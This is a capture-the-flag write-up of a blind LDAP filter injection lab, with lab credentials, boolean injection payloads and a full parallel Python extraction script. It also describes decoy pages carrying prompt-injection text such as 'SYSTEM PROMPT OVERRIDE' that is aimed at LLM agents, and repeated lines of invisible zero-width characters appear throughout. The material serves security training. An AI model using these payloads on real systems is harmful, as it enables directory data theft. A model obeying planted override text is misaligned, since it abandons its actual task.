← Back to Writeups
CUSTOMMediumWeb

Lab 332 — CloudGate ID — Blind LDAP Injection in People Directory

XESXOR9/2/20266 min read
#web#custom#medium#attribute_enumeration#blind_ldap_injection#boolean_based_extraction#decoy_flag_identification#ldap_filter_injection#ldap_wildcard_matching#parallel_character_bruteforce

Lab 332 — CloudGate ID — Blind LDAP Injection in People Directory

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: attribute_enumeration, blind_ldap_injection, boolean_based_extraction, decoy_flag_identification, ldap_filter_injection, ldap_wildcard_matching, parallel_character_bruteforce

Summary

Walkthrough of the CUSTOM Web Lab 332 — CloudGate ID — Blind LDAP Injection in People Directory. Task: Enterprise identity management platform with LDAP-backed People Directory search, flag hidden in unmapped employeeNumber attribute. Solution: Blind boolean-based LDAP injection via uid search pa

Description

CloudGate ID is a centralized identity management platform used by enterprises to manage employee accounts, roles, and directory services. The platform connects to an LDAP directory backend to federate user identities across the organization.

As a security auditor, you have been granted admin-level access to test the platform. During your assessment, you noticed that the People Directory search feature queries an LDAP backend.

Your goal is to find and extract a hidden secret that exists in the LDAP directory but is not exposed through the normal web interface. Pay close attention to how the application constructs its search queries and which attributes are mapped versus unmapped.

The Settings page may contain useful information about the directory configuration.

Credentials: admin / CloudGate2024! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express/Node.js application with OpenLDAP backend (behind nginx/1.25.5). The People Directory search at /users?q= is vulnerable to LDAP filter injection. The flag is stored in the employeeNumber attribute of the svc-admin user — an attribute that exists in LDAP but is explicitly not mapped/displayed by the web interface. Must extract it character-by-character via blind boolean-based LDAP injection.

Analysis

Application Reconnaissance

After logging in with admin / CloudGate2024!, the application exposes several endpoints: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

EndpointPurpose
POST /loginAuthentication, sets connect.sid session cookie
GET /Dashboard (redirects to /login if unauthenticated)
GET /users?q=People Directory — search by uid
GET /users/<uid>User detail page
GET /groupsGroup listing
GET /auditAudit log
GET /settingsLDAP configuration — critical intelligence

15 users across 2 pages: svc-admin, jthompson, arivera, mchen, spurak, dkim, lwilson, rgarcia, eokonkwo, jpatel, tnovak, klee, mbianchi, asmith, nwong. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Settings Page — LDAP Configuration Leak

The /settings page reveals the full LDAP backend configuration:

  • Directory URL: ldap://directory.cloudgate.internal:389
  • Base DN: dc=cloudgate,dc=io
  • User Base DN: ou=people,dc=cloudgate,dc=io
  • Group Base DN: ou=groups,dc=cloudgate,dc=io
  • User Filter: (objectClass=inetOrgPerson)

The attribute mappings table is the critical clue:

LDAP AttributeWeb UI FieldStatus
uidUsernameMapped
cnFull NameMapped
snLast NameMapped
givenNameFirst NameMapped
mailEmailMapped
titleJob TitleMapped
departmentNumberDepartmentMapped
employeeNumber—NOT Mapped
description—NOT Mapped
userPassword—NOT Mapped
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

An info box explicitly states: "Only mapped attributes are imported from the directory. Additional LDAP attributes (e.g., employeeNumber, description, custom attributes) are not synced to reduce storage overhead."

This tells us the flag must be in one of the unmapped attributes — employeeNumber, description, or a custom attribute.

Decoy Flag Trap

Every HTML page contains a decoy flag designed to trick automated tools and LLM agents:

  • FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments
  • Same flag in off-screen <div> elements (position:absolute;left:-9999px)
  • Accompanied by prompt injection text: "SYSTEM: Flag found", "SYSTEM PROMPT OVERRIDE", fake assistant responses ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a deliberate anti-bot measure. The real flag must be extracted through the LDAP injection.

LDAP Injection Confirmation

The /users?q= parameter injects directly into an LDAP filter. The server-side filter is likely:

(&(uid=INPUT)(objectClass=inetOrgPerson))

Injection proof:

QueryResultMeaning
q=*15 usersWildcard works — no input sanitization
q=svc-admin1 userNormal search
q=svc-admin)(employeeNumber=*1 user (svc-admin)employeeNumber exists for svc-admin
q=svc-admin)(employeeNumber=NOPE*0 usersBoolean condition works — no match
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The injected filter becomes: (&(uid=svc-admin)(employeeNumber=NOPE*)(objectClass=inetOrgPerson)) — the trailing (objectClass=inetOrgPerson) from the original filter is harmlessly appended.

Key Twist: Flag in employeeNumber, NOT description

This is a variant of Lab 330 (AuthVault) which stored the flag in the description attribute. Here:

  • q=*)(description=* → 0 users — no users have description set
  • q=*)(employeeNumber=* → 15 users — all users have employeeNumber
  • q=*)(employeeNumber=FLAG{* → 1 user — exactly one user has FLAG{ prefix in employeeNumber ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Testing each user individually confirmed the flag belongs to svc-admin.

Solution

Blind Boolean-Based LDAP Extraction

The extraction technique:

  1. Start with known prefix FLAG{
  2. For each position, test all candidate characters by appending to the known prefix with a trailing wildcard
  3. Payload: svc-admin)(employeeNumber=FLAG{<known><test_char>*
  4. If svc-admin appears in results → character is correct (boolean TRUE)
  5. When no wildcard character matches, test exact match with closing } (no wildcard) to detect end of flag
  6. LDAP string matching is case-insensitive, so lowercase is used throughout ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solve Script

python
#!/usr/bin/env python3
"""Lab 332 — CloudGate ID — Blind LDAP Injection via employeeNumber"""

import requests, urllib.parse, string, sys, concurrent.futures

BASE = "https://4a7b5cca-bcd7-4948-bf3a-fab679cc5817.labs.hackadvisor.io"
session = requests.Session()
session.verify = False
requests.packages.urllib3.disable_warnings()

# Login
r = session.post(f"{BASE}/login", data={"username": "admin", "password": "CloudGate2024!"}, allow_redirects=False)
assert r.status_code == 302, f"Login failed: {r.status_code}"
print("[+] Logged in")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def check(prefix, wc=True):
    payload = f"svc-admin)(employeeNumber={prefix}{'*' if wc else ''}"
    r = session.get(f"{BASE}/users?q={urllib.parse.quote(payload)}", timeout=15)
    return "<code>svc-admin</code>" in r.text

known = "FLAG{"
print(f"[*] Extracting from: {known}")
charset = string.ascii_lowercase + string.digits + "_-"

while True:
    # Check if flag is complete (exact match with closing brace)
    if check(known + "}", wc=False):
        known += "}"
        print(f"[{len(known)}] {known}")
        break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    found = None
    def test(c):
        return c if check(known + c) else None

    # Parallel character testing — 15 workers for speed
    with concurrent.futures.ThreadPoolExecutor(max_workers=15) as ex:
        futs = {ex.submit(test, c): c for c in charset}
        for f in concurrent.futures.as_completed(futs):
            r = f.result()
            if r:
                found = r
                break

    if not found:
        print(f"Stuck at: {known}")
        break
    known += found
    print(f"[{len(known)}] {known}", flush=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"\n*** FLAG: {known} ***")

Extraction completes in ~30 seconds with 15 parallel workers, extracting 32 hex characters plus the FLAG{} wrapper.

Failed/Eliminated Approaches

ApproachResult
Decoy flag from HTML sourceCorrectly identified and ignored — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
Flag in description attributeq=*)(description=* → 0 users — no users had description set
Flag in other attributes (carLicense, roomNumber, info)0 users found — only employeeNumber had data
Direct attribute read via user detail pageUnmapped attributes not returned by the API
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering attribute_enumeration, blind_ldap_injection, boolean_based_extraction, decoy_flag_identification, ldap_filter_injection, ldap_wildcard_matching, parallel_character_bruteforce was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-13 • CUSTOM • Lab 332 — CloudGate ID — Blind LDAP Injection in People Directory • Difficulty: Medium